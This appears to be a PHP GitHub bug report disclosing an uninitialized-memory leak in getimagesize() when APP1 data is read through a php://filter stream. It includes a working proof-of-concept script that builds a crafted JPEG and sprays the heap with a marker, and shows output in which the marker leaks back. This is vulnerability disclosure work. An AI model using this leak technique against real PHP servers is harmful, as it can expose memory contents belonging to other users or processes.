-
Notifications
You must be signed in to change notification settings - Fork 8k
Closed
Description
Description
The following code:
<?php
// Minimal PoC: corruption/uninitialized memory leak when reading APP1 via php://filter
$file = __DIR__ . '/min.jpg';
// Make APP1 large enough so it is read in multiple chunks
$chunk = 8192;
$tail = 123;
$payload = str_repeat('A', $chunk) . str_repeat('B', $chunk) . str_repeat('Z',
$tail);
$app1Len = 2 + strlen($payload);
// Minimal JPEG: SOI + APP1 + SOF0(1x1) + EOI
$sof = "\xFF\xC0" . pack('n', 11) . "\x08" . pack('n',1) . pack('n',1) .
"\x01\x11\x00";
$jpeg = "\xFF\xD8" . "\xFF\xE1" . pack('n', $app1Len) . $payload . $sof .
"\xFF\xD9";
file_put_contents($file, $jpeg);
// Mini heap-spray: fill heap with a marker and free it, so the C buffer
// can reuse those areas and return marker remnants in $info['APP1']
$marker = 'LEAK-MARKER-123!';
$spr = substr(str_repeat($marker, intdiv(strlen($payload) + strlen($marker) - 1,
strlen($marker))), 0, strlen($payload));
$spray = [];
for ($i = 0; $i < 512; $i++) {
$x = $spr; $x[0] = chr($i & 0x7F); // COW -> distinct allocations
$spray[$i] = $x;
}
unset($spray, $x);
gc_collect_cycles();
// Read through a filter to enforce multiple reads
$src = 'php://filter/read=string.rot13|string.rot13/resource=' . $file;
$info = null;
if (!@getimagesize($src, $info) || !isset($info['APP1'])) {
echo "Error: failed to obtain APP1 from getimagesize().\n";
exit(1);
}
$exp = $payload;
$ret = $info['APP1'];
// Human-readable output
$lenExp = strlen($exp);
$lenRet = strlen($ret);
echo "APP1 length: expected=$lenExp, actual=$lenRet\n";
echo "Expected APP1 head (HEX): ", bin2hex(substr($exp, 0, 16)), "\n";
echo "Returned APP1 head (HEX): ", bin2hex(substr($ret, 0, 16)), "\n";
echo ($exp === $ret)
? "Result: OK — data matches.\n"
: "Result: VULNERABLE — data differs (corruption/leak).\n";
// If found — show marker offset and a short snippet
$pos = strpos($ret, $marker);
if ($pos !== false) {
echo "Leak marker found: offset=$pos (inside returned APP1).\n";
$ctx = 12; // bytes of context left/right
$start = max(0, $pos - $ctx);
$end = min(strlen($ret), $pos + strlen($marker) + $ctx);
$before = substr($ret, $start, $pos - $start);
$mid = substr($ret, $pos, strlen($marker));
$after = substr($ret, $pos + strlen($marker), $end - ($pos +
strlen($marker)));
$sanitize = function ($s) {
return preg_replace('/[^\x20-\x7E]/', '.', $s);
};
$asciiLine = $sanitize($before) . '[' . $mid . ']' . $sanitize($after);
$hexLine = bin2hex($before) . '[' . bin2hex($mid) . ']' . bin2hex($after);
echo "Snippet with marker (ASCII, marker in []): ", $asciiLine, "\n";
echo "Snippet with marker (HEX, marker in []): ", $hexLine, "\n";
} else if ($exp !== $ret) {
echo "Marker not found, but data differs — still indicates a read bug.\n";
}Resulted in this output:
$ ./php cli.php
APP1 length: expected=16507, actual=16507
Expected APP1 head (HEX): 41414141414141414141414141414141
Returned APP1 head (HEX): 4242424242425a5a5a5a5a5a5a5a5a5a
Result: VULNERABLE — data differs (corruption/leak).
Leak marker found: offset=16392 (inside returned APP1).
Snippet with marker (ASCII, marker in []): -MARKER-123![LEAK-MARKER-123!]LEAK-MARKER-
Snippet with marker (HEX, marker in []): 2d4d41524b45522d31323321[4c45414b2d4d41524b45522d31323321]4c45414b2d4d41524b45522d
Build configuration:
$ ./configure CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address" --enable-debug
Researcher: Nikita Sveshnikov (Positive Technologies)
PHP Version
PHP 8.6.0-dev (cli) (built: Nov 18 2025 10:57:54) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.6.0-dev, Copyright (c) Zend Technologies
with Zend OPcache v8.6.0-dev, Copyright (c), by Zend Technologies
Operating System
Ubuntu 24.04.2 LTS